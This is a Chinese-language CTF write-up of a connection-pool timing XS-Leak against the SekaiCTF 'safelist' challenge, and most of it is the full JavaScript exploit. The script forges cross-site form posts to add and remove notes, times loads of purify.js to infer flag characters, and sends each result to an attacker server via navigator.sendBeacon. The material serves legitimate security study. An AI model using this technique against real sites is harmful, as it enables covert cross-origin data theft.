Connection Pool by Destination Example
在这个利用中，@terjanq提出了另一种解决方案，用于下一页中提到的挑战：
pageConnection Pool by Destination Example让我们看看这个利用是如何工作的：
攻击者将注入一个带有尽可能多的**
<img标签加载/js/purify.js**的注释（超过6个以阻止来源）。然后，攻击者将删除索引为1的注释。
然后，攻击者将[使机器人访问页面以触发剩余注释]并将发送一个对**
victim.com/js/purify.js的请求**，然后将计时。如果时间更长，则注入在剩余注释中，如果时间更短，则标志在其中。
说实话，阅读脚本时，我错过了攻击者让机器人加载页面以触发img标签的某些部分，我在代码中没有看到类似的内容
```html const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx"
let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }
remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank"
let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() }
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = ${prefix}${letter} + Array.from(Array(78)).map((e,i)=><img/src=/js/purify.js?${i}>).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } };
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